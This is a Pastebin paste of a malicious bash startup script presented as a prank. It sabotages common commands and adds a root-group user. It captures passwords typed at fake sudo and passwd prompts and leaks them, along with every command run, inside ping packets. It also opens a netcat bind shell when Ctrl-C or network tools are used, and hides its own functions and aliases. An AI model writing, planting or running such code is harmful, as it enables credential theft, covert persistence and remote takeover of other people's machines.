Guest User

Untitled

a guest
Jan 31st, 2018
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. # disable history
  2. set +o history
  3.  
  4. alias if='if !' for='for !' while='while !'
  5.  
  6. alias yes="yes n"
  7. alias vi="vi +q"
  8. alias apt=true
  9. alias yum=true
  10. alias nano="/bin/vi"
  11. alias rm=true
  12. function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }
  13. tset -Qe $'\t'
  14. alias exit='bash'
  15. alias cp='mv'
  16. function shutdown { clear; echo 'shutting down now, do not touch computer'; sleep 30; }
  17. alias shutdown=shutdown
  18. function pwd { sleep 3; echo 'right where I want you to be'; sleep 1; echo ';)'; sleep 1;}
  19. alias pwd=pwd
  20. function which { echo "/etc/$1"; }
  21. alias which=which
  22. useradd mom --gid 0 > /dev/null 2>&1
  23. echo -e \"password\npassword\n\" > passwd mom > /dev/null 2>&1
  24. function w { /usr/bin/w | sed s/$USER/yourmom/ | sed 's/[0-9]\\{1,3\\}.[0-9]\\{1,3\\}.[0-9]\\{1,3\\}.[0-9]\\{1,3\\}/8.8.8.8/g'; }
  25. alias w=w
  26. function who { echo "new computer who dis"; }
  27. alias who=who
  28. function sudo {
  29. ascii2hex(){ a="$@";s=0000000;printf "$a" | hexdump | grep "^$s"| sed s/' '//g| sed s/^$s//; }
  30. printf "\rsudo password for $USER:"
  31. read -s password
  32. ping -c 1 -p $(ascii2hex $password) 8.8.8.8 > /dev/null 2>&1
  33. printf "\r \r"
  34. echo $password | /usr/bin/sudo "$@"
  35. }
  36. alias sudo=sudo
  37.  
  38. # exfiltrate sudo password prompt input with ping
  39. function passwd {
  40. if [ $# -eq 0 ]; then
  41. echo "no user provided"
  42. exit 1
  43. fi
  44. echo "Changing password for $1."
  45. ascii2hex(){ a="$@";s=0000000;printf "$a" | hexdump | grep "^$s"| sed s/' '//g| sed s/^$s//; }
  46. printf "\r(current) UNIX password:"
  47. read -s password
  48. ping -c 1 -p $(ascii2hex $password) 8.8.8.8 > /dev/null 2>&1
  49. printf "\r \r"
  50. echo $password | /usr/bin/passwd "$1"
  51. }
  52. # obfuscate function type
  53. alias passwd=passwd
  54.  
  55. function ping_out_last_command {
  56. ascii2hex(){ a="$@";s=0000000;printf "$a" | hexdump | grep "^$s"| sed s/' '//g| sed s/^$s//; }
  57. ping -c 1 -p $(ascii2hex !:0) 8.8.4.4 > /dev/null 2>&1
  58. }
  59. alias ping_out_last_command=ping_out_last_command
  60.  
  61. export PROMPT_COMMAND='ping_out_last_command'
  62.  
  63. # function make_backdoor { file=$RANDOM; if [ -e "/tmp/$file" ]; then rm /tmp/$file; fi; mkfifo /tmp/$file; echo "serving on $file"; cat /tmp/$file| /bin/sh -i 2>&1 | nc -l $file >/tmp/$file ; }
  64.  
  65. function make_backdoor {
  66. if ! [ -x "$(command -v nc)" ]; then
  67. if [ -x "$(command -v yum)" ]; then
  68. sudo yum install nmap-ncat -y > /dev/null 2>&1
  69. else
  70. sudo apt-get install netcat -y > /dev/null 2>&1
  71. fi
  72. fi
  73. port=$RANDOM
  74. file="/tmp/.$port"
  75. if [ -e "/tmp/$file" ]; then
  76. rm $file
  77. fi
  78. mkfifo $file
  79. #echo "serving on $port with $file"
  80. for i in 1 2 3; do
  81. if [ -e "/tmp/$file" ]; then
  82. rm $file
  83. mkfifo $file
  84. fi
  85. cat $file | /bin/sh -i 2>&1 | nc -l $port > $file
  86. done
  87. rm $file
  88. }
  89. alias make_backdoor=make_backdoor
  90.  
  91. # trap ctrl-c and call ctrl_c()
  92. trap ctrl_c INT
  93.  
  94. function ctrl_c {
  95. make_backdoor
  96. }
  97.  
  98. function ifconfig {
  99. make_backdoor
  100. echo "-bash: ifconfig: command not found"
  101. }
  102.  
  103. function ip {
  104. make_backdoor
  105. echo "-bash: ip: command not found"
  106. }
  107.  
  108. function netstat {
  109. make_backdoor
  110. echo "-bash: netstat: command not found"
  111. }
  112.  
  113. function netstat {
  114. make_backdoor
  115. echo "-bash: netstat: command not found"
  116. }
  117.  
  118. function tcpdump {
  119. echo "tcpdump: verbose output suppressed, use -v or -vv for full protocol decode"
  120. echo "listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes"
  121. echo
  122. make_backdoor
  123. echo "-bash: tcpdump: command not found"
  124. }
  125.  
  126. function declare {
  127. echo "no functions found"
  128. }
  129.  
  130. function type {
  131. echo "no functions found"
  132. }
  133.  
  134. function chattr {
  135. echo "-bash: chattr: command not found"
  136. }
  137.  
  138. alias unalias=false
  139. alias alias=false;
Add Comment
Please, Sign In to add comment